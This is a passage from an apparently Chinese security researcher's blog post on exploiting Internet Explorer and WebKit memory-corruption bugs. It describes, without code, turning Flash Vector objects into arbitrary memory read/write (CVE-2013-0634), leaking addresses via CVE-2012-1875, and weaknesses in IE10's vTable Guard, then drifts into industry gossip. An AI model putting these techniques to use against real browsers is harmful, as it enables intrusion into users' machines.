最后这么一类问题,还有一个大杀器,我估计很多人都没有注意到。IE本身的string是只支持读,不支持写的,但是有些第三方的东西,比如flash里面的vector,是又能读又能写的。CVE-2013-0634用的就是这个,详见Haifei Li的分析文。我觉得这里面最有价值的一句话在最后一页,这个漏洞的利用方法,起码适用于所有能运行flash的上下文。那本身这个问题有多严重呢,我无聊写了一个试试看,反正连手机都直接direct general了。换句话说,你要找一个webkit的问题,那么不管android或者chrome(换内核后不算),ARM或者x86,32或者64位,都可以用大约3k字节的两个文件搞定。

上面这些是规定动作,微软不用花钱就能拿到的exp中,估计已有或者很快就可能看到很多。其实还有些自选动作,主要是那些不能转化为任意内存读写的,这一类漏洞也不少,很难归一个类出来,基本上一花一世界,一洞一利用。像去年same id那个CVE-2012-1875,call虚函数表偏移+8的,实际上能整出来个泄漏内存地址。我觉得我不适合说这个,应该让DarkMage来讲这一类的东西。

回过头来说IE11,从我的经验看,IE8的问题比IE7多,IE10的问题比IE9多,所以估计IE11还是有相当的搞头。IE10上面号称有vTable Guard,但实际上实现有问题,还能找到漏网之鱼。另外IE10有type confusion的问题,想必也会波及到IE11。要相信程序员归根结底是灵长类动物,人科人目,没法像理论上那样完美,啥都如学术界所言的话,函数式语言早该称霸地球了。

忘了福利了,八卦好像很多啊,雪村跑俄国去了,不过这是一个没啥用的定时炸弹,唯一的作用是让卖产品的多了些谈资。还有最近大辽好像有一些异动,好多人都和李老师一样,在山中静观世事,不过呢,还是那句话,出来混,迟早要还的。我一直很喜欢王小波一段话,关于砸碱的,大意是你要自己做护目镜,不然砸的碱飞溅起来,有些人瞎了左眼,有些人瞎了右眼,当然两只眼睛都瞎了就没啥可担心的,因为再没有眼睛可以瞎了。红脖子德州的NSS lab,把安全圈子的公司都得罪了一遍,也就无所谓了,只是不知道这些人以后出来,有啥公司会要。